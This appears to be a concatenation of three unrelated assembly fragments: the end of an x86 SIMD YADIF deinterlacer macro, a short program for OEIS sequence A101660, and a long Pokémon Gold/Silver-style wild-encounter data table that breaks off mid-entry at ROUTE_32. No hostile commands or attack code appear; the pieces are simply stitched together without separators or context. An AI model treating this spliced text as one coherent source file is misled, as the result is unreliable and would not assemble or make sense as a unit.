r5mp mov r5, r6mp DECLARE_REG_TMP 4,5 %else movsxd r5, DWORD r5m movsxd r6, DWORD r6m DECLARE_REG_TMP 5,6 %endif cmp DWORD paritym, 0 je .parity0 FILTER 1, prevq, curq jmp .ret .parity0: FILTER 0, curq, nextq .ret: RET %endmacro INIT_XMM ssse3 YADIF INIT_XMM sse2 YADIF %if ARCH_X86_32 INIT_MMX mmxext YADIF %endif
; A101660: Fixed point of morphism 0 -> 01, 1 -> 02, 2 -> 12. ; 0,1,0,2,0,1,1,2,0,1,0,2,0,2,1,2,0,1,0,2,0,1,1,2,0,1,1,2,0,2,1,2,0,1,0,2,0,1,1,2,0,1,0,2,0,2,1,2,0,1,0,2,0,2,1,2,0,1,1,2,0,2,1,2,0,1,0,2,0,1,1,2,0,1,0,2,0,2,1,2,0,1,0,2,0,1,1,2,0,1,1,2,0,2,1,2,0,1,0,2,0,1,1,2,0 mul $0,3 cal $0,91297 ; A fixed point of the morphism 0 -> 02, 1 -> 02, 2 -> 11, starting from 0. mov $1,$0
; Johto Pokémon in grass JohtoGrassWildMons: map_id SPROUT_TOWER_2F db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 3, RATTATA dbw 4, RATTATA dbw 5, RATTATA dbw 3, RATTATA dbw 6, RATTATA dbw 5, RATTATA dbw 5, RATTATA ; day dbw 3, RATTATA dbw 4, RATTATA dbw 5, RATTATA dbw 3, RATTATA dbw 6, RATTATA dbw 5, RATTATA dbw 5, RATTATA ; nite dbw 3, GASTLY dbw 4, GASTLY dbw 5, GASTLY dbw 3, RATTATA dbw 6, GASTLY dbw 5, RATTATA dbw 5, RATTATA map_id SPROUT_TOWER_3F db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 3, RATTATA dbw 4, RATTATA dbw 5, RATTATA dbw 3, RATTATA dbw 6, RATTATA dbw 5, RATTATA dbw 5, RATTATA ; day dbw 3, RATTATA dbw 4, RATTATA dbw 5, RATTATA dbw 3, RATTATA dbw 6, RATTATA dbw 5, RATTATA dbw 5, RATTATA ; nite dbw 3, GASTLY dbw 4, GASTLY dbw 5, GASTLY dbw 3, RATTATA dbw 6, GASTLY dbw 5, RATTATA dbw 5, RATTATA map_id TIN_TOWER_2F db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; day dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; nite dbw 20, GASTLY dbw 21, GASTLY dbw 22, GASTLY dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA map_id TIN_TOWER_3F db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; day dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; nite dbw 20, GASTLY dbw 21, GASTLY dbw 22, GASTLY dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA map_id TIN_TOWER_4F db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; day dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; nite dbw 20, GASTLY dbw 21, GASTLY dbw 22, GASTLY dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA map_id TIN_TOWER_5F db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; day dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; nite dbw 20, GASTLY dbw 21, GASTLY dbw 22, GASTLY dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA map_id TIN_TOWER_6F db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; day dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; nite dbw 20, GASTLY dbw 21, GASTLY dbw 22, GASTLY dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA map_id TIN_TOWER_7F db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; day dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; nite dbw 20, GASTLY dbw 21, GASTLY dbw 22, GASTLY dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA map_id TIN_TOWER_8F db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; day dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; nite dbw 20, GASTLY dbw 21, GASTLY dbw 22, GASTLY dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA map_id TIN_TOWER_9F db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; day dbw 20, RATTATA dbw 21, RATTATA dbw 22, RATTATA dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA ; nite dbw 20, GASTLY dbw 21, GASTLY dbw 22, GASTLY dbw 22, RATTATA dbw 23, RATTATA dbw 24, RATTATA dbw 24, RATTATA map_id BURNED_TOWER_1F db 4 percent, 4 percent, 4 percent ; encounter rates: morn/day/nite ; morn dbw 13, RATTATA dbw 14, KOFFING dbw 15, RATTATA dbw 14, ZUBAT dbw 15, RATTATA dbw 15, RATICATE dbw 15, RATICATE ; day dbw 13, RATTATA dbw 14, KOFFING dbw 15, RATTATA dbw 14, ZUBAT dbw 15, RATTATA dbw 15, RATICATE dbw 15, RATICATE ; nite dbw 13, RATTATA dbw 14, KOFFING dbw 15, RATTATA dbw 14, ZUBAT dbw 15, RATTATA dbw 15, RATICATE dbw 15, RATICATE map_id BURNED_TOWER_B1F db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 14, RATTATA dbw 14, KOFFING dbw 16, KOFFING dbw 15, ZUBAT dbw 12, KOFFING dbw 16, KOFFING dbw 16, WEEZING ; day dbw 14, RATTATA dbw 14, KOFFING dbw 16, KOFFING dbw 15, ZUBAT dbw 12, KOFFING dbw 16, KOFFING dbw 16, WEEZING ; nite dbw 14, RATTATA dbw 14, KOFFING dbw 16, KOFFING dbw 15, ZUBAT dbw 12, KOFFING dbw 16, KOFFING dbw 16, WEEZING map_id NATIONAL_PARK db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 12, NIDORAN_M dbw 12, NIDORAN_F dbw 14, LEDYBA dbw 13, PIDGEY dbw 10, CATERPIE dbw 10, WEEDLE dbw 10, WEEDLE ; day dbw 12, NIDORAN_F dbw 12, NIDORAN_M dbw 14, SUNKERN dbw 13, PIDGEY dbw 10, CATERPIE dbw 10, WEEDLE dbw 10, WEEDLE ; nite dbw 12, PSYDUCK dbw 13, HOOTHOOT dbw 14, SPINARAK dbw 15, HOOTHOOT dbw 10, VENONAT dbw 12, VENONAT dbw 12, VENONAT map_id RUINS_OF_ALPH_OUTSIDE db 4 percent, 4 percent, 4 percent ; encounter rates: morn/day/nite ; morn dbw 20, NATU dbw 22, NATU dbw 18, NATU dbw 24, NATU dbw 20, SMEARGLE dbw 22, SMEARGLE dbw 22, SMEARGLE ; day dbw 20, NATU dbw 22, NATU dbw 18, NATU dbw 24, NATU dbw 20, SMEARGLE dbw 22, SMEARGLE dbw 22, SMEARGLE ; nite dbw 20, NATU dbw 22, NATU dbw 18, NATU dbw 24, NATU dbw 22, WOOPER dbw 22, QUAGSIRE dbw 22, QUAGSIRE map_id RUINS_OF_ALPH_INNER_CHAMBER db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 5, UNOWN dbw 5, UNOWN dbw 5, UNOWN dbw 5, UNOWN dbw 5, UNOWN dbw 5, UNOWN dbw 5, UNOWN ; day dbw 5, UNOWN dbw 5, UNOWN dbw 5, UNOWN dbw 5, UNOWN dbw 5, UNOWN dbw 5, UNOWN dbw 5, UNOWN ; nite dbw 5, UNOWN dbw 5, UNOWN dbw 5, UNOWN dbw 5, UNOWN dbw 5, UNOWN dbw 5, UNOWN dbw 5, UNOWN map_id UNION_CAVE_1F db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 6, GEODUDE dbw 6, SANDSHREW dbw 5, ZUBAT dbw 4, RATTATA dbw 7, ZUBAT dbw 6, ONIX dbw 6, ONIX ; day dbw 6, GEODUDE dbw 6, SANDSHREW dbw 5, ZUBAT dbw 4, RATTATA dbw 7, ZUBAT dbw 6, ONIX dbw 6, ONIX ; nite dbw 6, GEODUDE dbw 6, RATTATA dbw 5, WOOPER dbw 4, RATTATA dbw 7, ZUBAT dbw 6, ONIX dbw 6, ONIX map_id UNION_CAVE_B1F db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 8, GEODUDE dbw 6, ZUBAT dbw 8, ZUBAT dbw 8, ONIX dbw 6, RATTATA dbw 8, RATTATA dbw 8, RATTATA ; day dbw 8, GEODUDE dbw 6, ZUBAT dbw 8, ZUBAT dbw 8, ONIX dbw 6, RATTATA dbw 8, RATTATA dbw 8, RATTATA ; nite dbw 8, GEODUDE dbw 6, ZUBAT dbw 8, WOOPER dbw 8, ONIX dbw 6, RATTATA dbw 8, RATTATA dbw 8, RATTATA map_id UNION_CAVE_B2F db 4 percent, 4 percent, 4 percent ; encounter rates: morn/day/nite ; morn dbw 22, ZUBAT dbw 22, GOLBAT dbw 22, ZUBAT dbw 21, RATICATE dbw 20, GEODUDE dbw 23, ONIX dbw 23, ONIX ; day dbw 22, ZUBAT dbw 22, GOLBAT dbw 22, ZUBAT dbw 21, RATICATE dbw 20, GEODUDE dbw 23, ONIX dbw 23, ONIX ; nite dbw 22, ZUBAT dbw 22, GOLBAT dbw 22, QUAGSIRE dbw 21, RATICATE dbw 20, GEODUDE dbw 23, ONIX dbw 23, ONIX map_id SLOWPOKE_WELL_B1F db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 5, ZUBAT dbw 6, ZUBAT dbw 7, ZUBAT dbw 6, SLOWPOKE dbw 8, ZUBAT dbw 8, SLOWPOKE dbw 8, SLOWPOKE ; day dbw 5, ZUBAT dbw 6, ZUBAT dbw 7, ZUBAT dbw 6, SLOWPOKE dbw 8, ZUBAT dbw 8, SLOWPOKE dbw 8, SLOWPOKE ; nite dbw 5, ZUBAT dbw 6, ZUBAT dbw 7, ZUBAT dbw 6, SLOWPOKE dbw 8, ZUBAT dbw 8, SLOWPOKE dbw 8, SLOWPOKE map_id SLOWPOKE_WELL_B2F db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 21, ZUBAT dbw 23, ZUBAT dbw 19, ZUBAT dbw 21, SLOWPOKE dbw 23, GOLBAT dbw 23, SLOWPOKE dbw 23, SLOWPOKE ; day dbw 21, ZUBAT dbw 23, ZUBAT dbw 19, ZUBAT dbw 21, SLOWPOKE dbw 23, GOLBAT dbw 23, SLOWPOKE dbw 23, SLOWPOKE ; nite dbw 21, ZUBAT dbw 23, ZUBAT dbw 19, ZUBAT dbw 21, SLOWPOKE dbw 23, GOLBAT dbw 23, SLOWPOKE dbw 23, SLOWPOKE map_id ILEX_FOREST db 4 percent, 4 percent, 4 percent ; encounter rates: morn/day/nite ; morn dbw 5, CATERPIE dbw 5, WEEDLE dbw 7, METAPOD dbw 7, KAKUNA dbw 7, PIDGEY dbw 6, PARAS dbw 6, PARAS ; day dbw 5, CATERPIE dbw 5, WEEDLE dbw 7, METAPOD dbw 7, KAKUNA dbw 7, PIDGEY dbw 6, PARAS dbw 6, PARAS ; nite dbw 5, ODDISH dbw 5, VENONAT dbw 7, ODDISH dbw 7, PSYDUCK dbw 7, HOOTHOOT dbw 6, PARAS dbw 6, PARAS map_id MOUNT_MORTAR_1F_OUTSIDE db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 14, RATTATA dbw 13, ZUBAT dbw 14, MACHOP dbw 13, GOLBAT dbw 14, GEODUDE dbw 16, RATICATE dbw 16, RATICATE ; day dbw 14, RATTATA dbw 13, ZUBAT dbw 14, MACHOP dbw 13, GOLBAT dbw 14, GEODUDE dbw 16, RATICATE dbw 16, RATICATE ; nite dbw 14, RATTATA dbw 13, ZUBAT dbw 14, MARILL dbw 13, GOLBAT dbw 14, GEODUDE dbw 16, RATICATE dbw 16, RATICATE map_id MOUNT_MORTAR_1F_INSIDE db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 13, GEODUDE dbw 14, RATTATA dbw 15, MACHOP dbw 14, RATICATE dbw 15, ZUBAT dbw 15, GOLBAT dbw 15, GOLBAT ; day dbw 13, GEODUDE dbw 14, RATTATA dbw 15, MACHOP dbw 14, RATICATE dbw 15, ZUBAT dbw 15, GOLBAT dbw 15, GOLBAT ; nite dbw 13, GEODUDE dbw 14, RATTATA dbw 15, RATICATE dbw 14, ZUBAT dbw 15, MARILL dbw 15, GOLBAT dbw 15, GOLBAT map_id MOUNT_MORTAR_2F_INSIDE db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 31, GRAVELER dbw 32, MACHOKE dbw 31, GEODUDE dbw 30, RATICATE dbw 28, MACHOP dbw 30, GOLBAT dbw 30, GOLBAT ; day dbw 31, GRAVELER dbw 32, MACHOKE dbw 31, GEODUDE dbw 30, RATICATE dbw 28, MACHOP dbw 30, GOLBAT dbw 30, GOLBAT ; nite dbw 31, GRAVELER dbw 31, GEODUDE dbw 30, RATICATE dbw 30, GOLBAT dbw 28, MARILL dbw 32, GOLBAT dbw 32, GOLBAT map_id MOUNT_MORTAR_B1F db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 15, ZUBAT dbw 17, ZUBAT dbw 17, GOLBAT dbw 16, MACHOP dbw 16, GEODUDE dbw 18, RATICATE dbw 18, RATICATE ; day dbw 15, ZUBAT dbw 17, ZUBAT dbw 17, GOLBAT dbw 16, MACHOP dbw 16, GEODUDE dbw 18, RATICATE dbw 18, RATICATE ; nite dbw 15, ZUBAT dbw 17, ZUBAT dbw 17, GOLBAT dbw 16, MARILL dbw 16, GEODUDE dbw 18, RATICATE dbw 18, RATICATE map_id ICE_PATH_1F db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 21, SWINUB dbw 22, ZUBAT dbw 22, GOLBAT dbw 23, SWINUB dbw 24, GOLBAT dbw 22, GOLBAT dbw 22, GOLBAT ; day dbw 21, SWINUB dbw 22, ZUBAT dbw 22, GOLBAT dbw 23, SWINUB dbw 24, GOLBAT dbw 22, GOLBAT dbw 22, GOLBAT ; nite dbw 21, DELIBIRD dbw 22, ZUBAT dbw 22, GOLBAT dbw 23, DELIBIRD dbw 24, GOLBAT dbw 22, GOLBAT dbw 22, GOLBAT map_id ICE_PATH_B1F db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 22, SWINUB dbw 23, ZUBAT dbw 23, GOLBAT dbw 24, SWINUB dbw 25, GOLBAT dbw 23, GOLBAT dbw 22, JYNX ; day dbw 22, SWINUB dbw 23, ZUBAT dbw 23, GOLBAT dbw 24, SWINUB dbw 25, GOLBAT dbw 23, GOLBAT dbw 22, JYNX ; nite dbw 22, DELIBIRD dbw 23, ZUBAT dbw 23, GOLBAT dbw 24, DELIBIRD dbw 25, GOLBAT dbw 23, GOLBAT dbw 22, SNEASEL map_id ICE_PATH_B2F_MAHOGANY_SIDE db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 23, SWINUB dbw 24, ZUBAT dbw 24, GOLBAT dbw 25, SWINUB dbw 26, GOLBAT dbw 22, JYNX dbw 24, JYNX ; day dbw 23, SWINUB dbw 24, ZUBAT dbw 24, GOLBAT dbw 25, SWINUB dbw 26, GOLBAT dbw 22, JYNX dbw 24, JYNX ; nite dbw 23, DELIBIRD dbw 24, ZUBAT dbw 24, GOLBAT dbw 25, DELIBIRD dbw 26, GOLBAT dbw 22, SNEASEL dbw 24, SNEASEL map_id ICE_PATH_B2F_BLACKTHORN_SIDE db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 23, SWINUB dbw 24, ZUBAT dbw 24, GOLBAT dbw 25, SWINUB dbw 26, GOLBAT dbw 22, JYNX dbw 24, JYNX ; day dbw 23, SWINUB dbw 24, ZUBAT dbw 24, GOLBAT dbw 25, SWINUB dbw 26, GOLBAT dbw 22, JYNX dbw 24, JYNX ; nite dbw 23, DELIBIRD dbw 24, ZUBAT dbw 24, GOLBAT dbw 25, DELIBIRD dbw 26, GOLBAT dbw 22, SNEASEL dbw 24, SNEASEL map_id ICE_PATH_B3F db 2 percent, 2 percent, 2 percent ; encounter rates: morn/day/nite ; morn dbw 24, SWINUB dbw 25, ZUBAT dbw 25, GOLBAT dbw 26, SWINUB dbw 22, JYNX dbw 24, JYNX dbw 26, JYNX ; day dbw 24, SWINUB dbw 25, ZUBAT dbw 25, GOLBAT dbw 26, SWINUB dbw 22, JYNX dbw 24, JYNX dbw 26, JYNX ; nite dbw 24, DELIBIRD dbw 25, ZUBAT dbw 25, GOLBAT dbw 26, DELIBIRD dbw 22, SNEASEL dbw 24, SNEASEL dbw 26, SNEASEL map_id WHIRL_ISLAND_NW db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 22, KRABBY dbw 23, ZUBAT dbw 22, SEEL dbw 24, KRABBY dbw 25, GOLBAT dbw 24, SEEL dbw 24, SEEL ; day dbw 22, KRABBY dbw 23, ZUBAT dbw 22, SEEL dbw 24, KRABBY dbw 25, GOLBAT dbw 24, SEEL dbw 24, SEEL ; nite dbw 22, KRABBY dbw 23, ZUBAT dbw 22, KRABBY dbw 24, KRABBY dbw 25, GOLBAT dbw 24, GOLBAT dbw 24, GOLBAT map_id WHIRL_ISLAND_NE db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 22, KRABBY dbw 23, ZUBAT dbw 22, SEEL dbw 24, KRABBY dbw 25, GOLBAT dbw 24, SEEL dbw 24, SEEL ; day dbw 22, KRABBY dbw 23, ZUBAT dbw 22, SEEL dbw 24, KRABBY dbw 25, GOLBAT dbw 24, SEEL dbw 24, SEEL ; nite dbw 22, KRABBY dbw 23, ZUBAT dbw 22, KRABBY dbw 24, KRABBY dbw 25, GOLBAT dbw 24, GOLBAT dbw 24, GOLBAT map_id WHIRL_ISLAND_SW db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 22, KRABBY dbw 23, ZUBAT dbw 22, SEEL dbw 24, KRABBY dbw 25, GOLBAT dbw 24, SEEL dbw 24, SEEL ; day dbw 22, KRABBY dbw 23, ZUBAT dbw 22, SEEL dbw 24, KRABBY dbw 25, GOLBAT dbw 24, SEEL dbw 24, SEEL ; nite dbw 22, KRABBY dbw 23, ZUBAT dbw 22, KRABBY dbw 24, KRABBY dbw 25, GOLBAT dbw 24, GOLBAT dbw 24, GOLBAT map_id WHIRL_ISLAND_CAVE db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 22, KRABBY dbw 23, ZUBAT dbw 22, SEEL dbw 24, KRABBY dbw 25, GOLBAT dbw 24, SEEL dbw 24, SEEL ; day dbw 22, KRABBY dbw 23, ZUBAT dbw 22, SEEL dbw 24, KRABBY dbw 25, GOLBAT dbw 24, SEEL dbw 24, SEEL ; nite dbw 22, KRABBY dbw 23, ZUBAT dbw 22, KRABBY dbw 24, KRABBY dbw 25, GOLBAT dbw 24, GOLBAT dbw 24, GOLBAT map_id WHIRL_ISLAND_SE db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 22, KRABBY dbw 23, ZUBAT dbw 22, SEEL dbw 24, KRABBY dbw 25, GOLBAT dbw 24, SEEL dbw 24, SEEL ; day dbw 22, KRABBY dbw 23, ZUBAT dbw 22, SEEL dbw 24, KRABBY dbw 25, GOLBAT dbw 24, SEEL dbw 24, SEEL ; nite dbw 22, KRABBY dbw 23, ZUBAT dbw 22, KRABBY dbw 24, KRABBY dbw 25, GOLBAT dbw 24, GOLBAT dbw 24, GOLBAT map_id WHIRL_ISLAND_B1F db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 23, KRABBY dbw 24, ZUBAT dbw 23, SEEL dbw 25, KRABBY dbw 26, GOLBAT dbw 25, SEEL dbw 25, SEEL ; day dbw 23, KRABBY dbw 24, ZUBAT dbw 23, SEEL dbw 25, KRABBY dbw 26, GOLBAT dbw 25, SEEL dbw 25, SEEL ; nite dbw 23, KRABBY dbw 24, ZUBAT dbw 23, KRABBY dbw 25, KRABBY dbw 26, GOLBAT dbw 25, GOLBAT dbw 25, GOLBAT map_id WHIRL_ISLAND_B2F db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 24, KRABBY dbw 25, ZUBAT dbw 24, SEEL dbw 26, KRABBY dbw 27, GOLBAT dbw 26, SEEL dbw 26, SEEL ; day dbw 24, KRABBY dbw 25, ZUBAT dbw 24, SEEL dbw 26, KRABBY dbw 27, GOLBAT dbw 26, SEEL dbw 26, SEEL ; nite dbw 24, KRABBY dbw 25, ZUBAT dbw 24, KRABBY dbw 26, KRABBY dbw 27, GOLBAT dbw 26, GOLBAT dbw 26, GOLBAT map_id WHIRL_ISLAND_LUGIA_CHAMBER db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 25, KRABBY dbw 26, ZUBAT dbw 25, SEEL dbw 27, KRABBY dbw 28, GOLBAT dbw 27, SEEL dbw 27, SEEL ; day dbw 25, KRABBY dbw 26, ZUBAT dbw 25, SEEL dbw 27, KRABBY dbw 28, GOLBAT dbw 27, SEEL dbw 27, SEEL ; nite dbw 25, KRABBY dbw 26, ZUBAT dbw 25, KRABBY dbw 27, KRABBY dbw 28, GOLBAT dbw 27, GOLBAT dbw 27, GOLBAT map_id SILVER_CAVE_ROOM_1 db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 43, GRAVELER dbw 44, URSARING dbw 42, ONIX dbw 45, MAGMAR dbw 45, GOLBAT dbw 20, LARVITAR dbw 15, LARVITAR ; day dbw 43, GRAVELER dbw 44, URSARING dbw 42, ONIX dbw 45, MAGMAR dbw 45, GOLBAT dbw 20, LARVITAR dbw 15, LARVITAR ; nite dbw 43, GRAVELER dbw 44, GOLBAT dbw 42, ONIX dbw 42, GOLBAT dbw 45, GOLDUCK dbw 46, GOLBAT dbw 46, GOLBAT map_id SILVER_CAVE_ROOM_2 db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 48, GOLBAT dbw 48, MACHOKE dbw 47, URSARING dbw 46, PARASECT dbw 48, PARASECT dbw 15, LARVITAR dbw 20, LARVITAR ; day dbw 48, GOLBAT dbw 48, MACHOKE dbw 47, URSARING dbw 46, PARASECT dbw 48, PARASECT dbw 15, LARVITAR dbw 20, LARVITAR ; nite dbw 48, GOLBAT dbw 48, GOLDUCK dbw 46, GOLBAT dbw 46, PARASECT dbw 48, PARASECT dbw 45, MISDREAVUS dbw 45, MISDREAVUS map_id SILVER_CAVE_ROOM_3 db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 51, GOLBAT dbw 48, ONIX dbw 48, GRAVELER dbw 50, URSARING dbw 20, LARVITAR dbw 15, LARVITAR dbw 20, PUPITAR ; day dbw 51, GOLBAT dbw 48, ONIX dbw 48, GRAVELER dbw 50, URSARING dbw 20, LARVITAR dbw 15, LARVITAR dbw 20, PUPITAR ; nite dbw 51, GOLBAT dbw 48, ONIX dbw 48, GRAVELER dbw 49, GOLBAT dbw 45, GOLDUCK dbw 53, GOLBAT dbw 53, GOLBAT map_id SILVER_CAVE_ITEM_ROOMS db 6 percent, 6 percent, 6 percent ; encounter rates: morn/day/nite ; morn dbw 48, GOLBAT dbw 46, GOLBAT dbw 50, GOLBAT dbw 46, PARASECT dbw 48, PARASECT dbw 50, PARASECT dbw 52, PARASECT ; day dbw 48, GOLBAT dbw 46, GOLBAT dbw 50, GOLBAT dbw 46, PARASECT dbw 48, PARASECT dbw 50, PARASECT dbw 52, PARASECT ; nite dbw 45, MISDREAVUS dbw 48, GOLBAT dbw 50, GOLBAT dbw 46, PARASECT dbw 48, PARASECT dbw 50, PARASECT dbw 52, PARASECT map_id DARK_CAVE_VIOLET_ENTRANCE db 4 percent, 4 percent, 4 percent ; encounter rates: morn/day/nite ; morn dbw 3, GEODUDE dbw 2, ZUBAT dbw 2, GEODUDE dbw 4, GEODUDE dbw 2, TEDDIURSA dbw 4, ZUBAT dbw 4, DUNSPARCE ; day dbw 3, GEODUDE dbw 2, ZUBAT dbw 2, GEODUDE dbw 4, GEODUDE dbw 2, ZUBAT dbw 4, ZUBAT dbw 4, DUNSPARCE ; nite dbw 3, GEODUDE dbw 2, ZUBAT dbw 2, GEODUDE dbw 4, GEODUDE dbw 2, ZUBAT dbw 4, ZUBAT dbw 4, DUNSPARCE map_id DARK_CAVE_BLACKTHORN_ENTRANCE db 4 percent, 4 percent, 4 percent ; encounter rates: morn/day/nite ; morn dbw 23, GEODUDE dbw 23, ZUBAT dbw 25, GRAVELER dbw 25, URSARING dbw 20, TEDDIURSA dbw 23, GOLBAT dbw 23, GOLBAT ; day dbw 23, GEODUDE dbw 23, ZUBAT dbw 25, GRAVELER dbw 25, URSARING dbw 30, URSARING dbw 23, GOLBAT dbw 23, GOLBAT ; nite dbw 23, GEODUDE dbw 23, ZUBAT dbw 25, GRAVELER dbw 20, WOBBUFFET dbw 25, WOBBUFFET dbw 23, GOLBAT dbw 23, GOLBAT map_id ROUTE_29 db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite IF DEF(_DEBUG) REPT 21 dbw 45, SHEDINJA ENDR ELSE ; morn dbw 2, PIDGEY dbw 2, SENTRET dbw 3, PIDGEY dbw 3, SENTRET dbw 2, RATTATA dbw 3, HOPPIP dbw 3, HOPPIP ; day dbw 2, PIDGEY dbw 2, SENTRET dbw 3, PIDGEY dbw 3, SENTRET dbw 2, RATTATA dbw 3, HOPPIP dbw 3, HOPPIP ; nite dbw 2, HOOTHOOT dbw 2, RATTATA dbw 3, HOOTHOOT dbw 3, RATTATA dbw 2, RATTATA dbw 3, HOOTHOOT dbw 3, HOOTHOOT ENDC map_id ROUTE_30 db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 3, LEDYBA dbw 3, CATERPIE dbw 4, CATERPIE dbw 4, PIDGEY dbw 3, WEEDLE dbw 4, HOPPIP dbw 4, HOPPIP ; day dbw 3, PIDGEY dbw 3, CATERPIE dbw 4, CATERPIE dbw 4, PIDGEY dbw 3, WEEDLE dbw 4, HOPPIP dbw 4, HOPPIP ; nite dbw 3, SPINARAK dbw 3, HOOTHOOT dbw 4, POLIWAG dbw 4, HOOTHOOT dbw 3, ZUBAT dbw 4, HOOTHOOT dbw 4, HOOTHOOT map_id ROUTE_31 db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 4, LEDYBA dbw 4, CATERPIE dbw 5, BELLSPROUT dbw 5, PIDGEY dbw 4, WEEDLE dbw 5, HOPPIP dbw 5, HOPPIP ; day dbw 4, PIDGEY dbw 4, CATERPIE dbw 5, BELLSPROUT dbw 5, PIDGEY dbw 4, WEEDLE dbw 5, HOPPIP dbw 5, HOPPIP ; nite dbw 4, SPINARAK dbw 4, POLIWAG dbw 5, BELLSPROUT dbw 5, HOOTHOOT dbw 4, ZUBAT dbw 5, GASTLY dbw 5, GASTLY map_id ROUTE_32 db 10 percent, 10 percent, 10 percent ; encounter rates: morn/day/nite ; morn dbw 4, EKANS dbw 5, RATTATA dbw 7, BELLSPROUT dbw 6, HOPPIP dbw 7, PIDGEY dbw 7, HOPPIP dbw 7, HOPPIP ; day dbw 4, EKANS dbw 5, RATTATA dbw 7, BELLSPROUT dbw 6, HOPPIP dbw 7, PIDGEY dbw 7, HOPPIP dbw 